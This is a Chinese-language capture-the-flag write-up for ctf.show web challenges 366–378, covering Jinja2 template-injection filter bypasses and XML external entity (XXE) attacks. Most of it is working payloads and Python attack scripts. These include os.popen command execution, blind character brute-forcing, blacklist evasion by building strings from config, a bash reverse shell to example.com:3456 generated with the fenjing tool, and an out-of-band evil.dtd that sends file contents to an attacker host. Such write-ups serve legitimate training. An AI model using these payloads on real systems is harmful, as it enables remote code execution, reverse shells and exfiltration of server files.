/?name={{(x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5)}}&x1=__init__&x2=__globals__&x3=__getitem__&x4=__builtins__&x5=__import__('os').popen('cat /flag').read() /?name={{(lipsum|attr(request.values.x1)).get(request.values.x2).popen(request.values.x3).read()}}&x2=os&x3=cat /flag&x1=__globals__
web368 过滤了{{}}
方法1 可以直接用{%%}
和print
/?name={%print((x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5))%}&x1=__init__&x2=__globals__&x3=__getitem__&x4=__builtins__&x5=__import__('os').popen('cat /flag').read()
方法2 不用print
,直接盲注
import requestsimport urllibimport timeurl = 'http://36f667b8-3e4a-4639-ba96-cff20a8e3c86.challenge.ctf.show/' alp = 'abcdefghijklmnopqrstuvwxyz0123456789-}{' flag = '' for i in range (1 ,100 ): for j in alp: payload = "{% set flag = (x|attr(request.values.x1)|attr(request.values.x2)|attr(request.values.x3))(request.values.x4).eval(request.values.x5)%}{% if flag == request.values.x6%}evo1ution{%endif%}" params = { 'name' : payload, 'x1' : '__init__' , 'x2' : '__globals__' , 'x3' : '__getitem__' , 'x4' : '__builtins__' , 'x5' : "__import__('os').popen('cat /flag').read({})" .format (i), 'x6' : "{}" .format (flag+j) } response = requests.get(url,params=params) if 'evo1ution' in response.text: flag += j print (flag) if j == '}' : exit() break
web369 过滤了request
方法1 字符拼接
想使用{%print((lipsum|attr('__globals__')).get('os').popen('cat /flag').read())%}
,所以用下面的脚本拼接出__globals__
、os
和cat /flag
import requestsimport urllibimport timeimport reurl = 'http://478231cf-6cd6-4958-84fd-f3de3b022397.challenge.ctf.show/' target = "cat /flag" flag = '' for i in target: for j in range (917 ): payload = "{{%print((config|string|list).pop({}).lower())%}}" .format (j) params = { 'name' : payload, } response = requests.get(url,params=params) s = re.findall(r'<h3>(.*)</h3>' ,response.text)[0 ] if i == s: flag += "(config|string|list).pop({}).lower()~" .format (j) break print (flag[:-1 ])
用得到的字符构造出最后的payload
/?name={%print((lipsum|attr(((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()))).get(((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower())).popen(((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower())).read())%}
得到替换的字符串也可以先执行下
/?name={%print(config|string|list|lower)%}
把得到的列表放到l
里面即可
import requestsimport urllibimport timeimport retarget = "cat /flag" l = flag = '' for i in target: for j in range (len (l)): if i == l[j]: flag += "(config|string|list).pop({}).lower()~" .format (j) break print (flag[:-1 ])
方法2 替换字符,用join
一步步构造出来,最终payload
如下
?name={%set a=(config|string|list).pop(74)%}{%set globals=(a,a,dict(globals=1)|join,a,a)|join%}{%set init=(a,a,dict(init=1)|join,a,a)|join%}{%set builtins=(a,a,dict(builtins=1)|join,a,a)|join%}{%set a=(lipsum|attr(globals)).get(builtins)%}{%set chr=a.chr%}{%print(a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read())%}
详细解释下
{%set a=(config|string|list).pop(74)%} 获得 _ {%set globals=(a,a,dict(globals=1)|join,a,a)|join%} 获得__globals__ {%set init=(a,a,dict(init=1)|join,a,a)|join%} 获得__init__ {%set builtins=(a,a,dict(builtins=1)|join,a,a)|join%} 获得__builtins__ {%set a=(lipsum|attr(globals)).get(builtins)%} 获得lipsum.__globals__['__builtins__'] {%set chr=a.chr%} 获得chr {%print(a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read())%} 获得lipsum.__globals__['__builtins__'].open('/flag').read()
web370 过滤了数字
/?name={%set nummm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}{%set x=(()|select|string|list).pop(num)%}{%set o=dict(o=a,s=b)|join%}{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}{%set builtins=(x,x,dict(builtins=a)|join,x,x)|join%}{%set c=dict(chr=a)|join%}{%set chr=((lipsum|attr(glob)).get(builtins)).get(c)%}{%set cmd=chr(numm)~dict(flag=a)|join%} {%set cmd=dict(cat=a)|join~chr(nummm)~chr(numm)~dict(flag=a)|join%}{%print((lipsum|attr(glob)).get(o).popen(cmd).read())%}
解释下
{%set nummm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} #32 {%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} #47 {%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%} #24 {%set x=(()|select|string|list).pop(num)%} 获得_ {%set o=dict(o=a,s=b)|join%} 获得os {%set glob = (x,x,dict(globals=a)|join,x,x)|join %} 获得__globals__ {%set builtins=(x,x,dict(builtins=a)|join,x,x)|join%} 获得__builtins__ {%set c=dict(chr=a)|join%} 获得字符串chr {%set chr=((lipsum|attr(glob)).get(builtins)).get(c)%} 获得chr {%set cmd=chr(numm)~dict(flag=a)|join%} 获得/flag {%set cmd=dict(cat=a)|join~chr(nummm)~chr(numm)~dict(flag=a)|join%} 获得cat /flag {%print((lipsum|attr(glob)).get(o).popen(cmd).read())%}
web371 过滤了print
,直接反弹shell,payload
生成思路和前一题一样,这里介绍一个库fenjing ,前面的所有题目也可以用这个
from fenjing import exec_cmd_payloadimport functoolsimport timeimport loggingimport urlliblogging.basicConfig(level = logging.WARNING) def waf (s: str ): blacklist = ["'" ,"\"" ,"[" ,"]" ,"_" ,"os" ,"{{" ,"}}" ,"request" ,"0" , "1" , "2" , "3" , "4" , "5" , "6" , "7" , "8" , "9" , "print" ] for word in blacklist: if word in s: return False return True payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"" ) print (urllib.parse.quote(payload))
web372 又过滤了count
,不过没关系,fenjing 继续一把梭
from fenjing import exec_cmd_payloadimport functoolsimport timeimport loggingimport urlliblogging.basicConfig(level = logging.WARNING) def waf (s: str ): blacklist = ["'" ,"\"" ,"[" ,"]" ,"_" ,"os" ,"{{" ,"}}" ,"request" ,"0" , "1" , "2" , "3" , "4" , "5" , "6" , "7" , "8" , "9" , "print" ,"count" ] for word in blacklist: if word in s: return False return True payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"" ) print (urllib.parse.quote(payload))
要想手动试一试的话可以使用length
来代替count
,用全角数字代替半角数字
具体可以看下这个博客
XXE web373 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom ($dom ); $ctfshow = $creds ->ctfshow; echo $ctfshow ; } highlight_file (__FILE__ );
输出的是ctfshow
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE evo1 [ <!ENTITY flag SYSTEM "file:///flag" > ]> <evo1 > <ctfshow > &flag; </ctfshow > </evo1 >
web374 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file (__FILE__ );
没回显,把信息发送到自己的vps
上
首先是evil.dtd
<!ENTITY % dtd "<!ENTITY % xxe SYSTEM 'http://your-ip:your-port/?flag=%file;'> "> %dtd; %xxe;
然后是payload
<!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag" > <!ENTITY % aaa SYSTEM "http://ip:port/evil.dtd" > %aaa; ]> <xxe > 1</xxe >
web375 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (preg_match ('/<\?xml version="1\.0"/' , $xmlfile )){ die ('error' ); } if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file (__FILE__ );
过滤了<\?xml version="1\.0"
,还是可以用上一关payload
web376 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (preg_match ('/<\?xml version="1\.0"/i' , $xmlfile )){ die ('error' ); } if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file (__FILE__ );
增添了大小写过滤,还是可以用web374
的payload
web377 <?php error_reporting (0 );libxml_disable_entity_loader (false );$xmlfile = file_get_contents ('php://input' );if (preg_match ('/<\?xml version="1\.0"|http/i' , $xmlfile )){ die ('error' ); } if (isset ($xmlfile )){ $dom = new DOMDocument (); $dom ->loadXML ($xmlfile , LIBXML_NOENT | LIBXML_DTDLOAD); } highlight_file (__FILE__ );
在原来的基础上又过滤了http
,设定一个特殊的编码方式(例:UTF-16)转换一下来绕过
import requestsurl = "http://bc5a33d7-d201-47cb-9ca8-65de9691bd9f.challenge.ctf.show/" data = """<!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://ip:port/evil.dtd"> %aaa; ]> <xxe>1</xxe> """ requests.post(url ,data=data.encode('utf-16' ))
原来evil.dtd
内容不用变
web378 登录抓包发现回显username
字段,直接构造
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE evo1 [ <!ENTITY flag SYSTEM "file:///flag" > ]> <evo1 > <username > &flag; </username > </evo1 >